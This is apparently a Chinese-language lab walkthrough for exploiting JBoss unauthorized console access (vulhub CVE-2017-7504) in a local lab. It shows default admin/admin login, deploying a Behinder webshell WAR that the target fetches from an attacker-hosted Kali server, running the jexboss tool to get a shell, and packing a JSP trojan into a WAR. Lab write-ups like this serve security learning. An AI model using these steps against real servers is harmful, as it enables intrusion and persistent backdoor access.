1.JBOSS是什么
JBOSS是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
2.JBOSS未授权访问是什么
未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。
3.漏洞环境搭建
漏洞环境:vulhub上的CVE-2017-7504
进入到CVE-2017-7504目录执行docker-compose up -d
4.漏洞复现
说白了,这个未授权就是不需要用户名和密码就进入控制台,然后利用应用部署来部署war包,war包里有个jsp的马,然后真香!!!
靶机的ip为192.168.66.134.
访问192.168.66.134:8080,进入jboss。
进入控制台
看到如下界面,点击红色框选的:
网上的一些帖子说的是无用户名和密码登录的,也就是说不需要密码。但是我这里用vulhub搭建的居然需要用户名和密码,额,我人品的问题???随便试了试,用户名、密码都是admin,进入控制台。
进入应用部署页面
又点这个呗,进入应用部署界面。进入之后找到下面的部分:
上马
ParamValue部分填写远程服务器上的木马的地址。
这里用kali的apache2来弄,毕竟简单。
进入kali,输入service apache2 start
启动apache2.(可以输入service apache2 status
来看看是否开启,下图就是开启状态了)
然后便是将war包放在/var/www/html目录,至于为啥放这里,请自行百度一哈。
我这里用的是冰蝎的bingxie.war。
然后就是在ParamValue处填写地址了,我这里就填写http://192.168.66.129/bingxie.war
注:192.168.66.129是kali的ip地址
然后就点Invoke。回显一下页面,就知道可以了。
去看看到底弄好没,输入http://192.168.66.134:8080/bingxie/
后面的bingxie就是前面部署的war包的名字
看到了shell.jsp,可以拿出冰蝎了。
5.jexboss工具
安装方法:
git clone https://github.com/joaomatosf/jexboss
cd jexboss
python3 jexboss.py
出现以下界面便是能够正常使用。
也可以输入python3 jexboss.py -h
查看具体参数。
这里我是输入:python3 jexboss.py -u 192.168.66.134:8080
执行命令后出现下面的界面就说明可以搞事情:
等执行完后会弹出个选择yes or no,当然选yes。yes就是创建连接。
一输入yes,我本机的火绒就搞事情了。。。
真就管的宽,不过我喜欢!!!
回到正题,输入yes后,就会有个shell的命令行,舒服啊!
6.war的制作
首先你得有Java环境,然后进入jdk目录下的bin目录(例如C:Program FilesJavajdk1.8.0_101in),进入命令行。
输入jar cvf shell.war shell.jsp
注:shell.war是你要做出了的war文件,shell.jsp是提前准备的jsp木马文件
诶,弄完了。。。溜了溜了,防御啥的随便找点文章看看,多的很。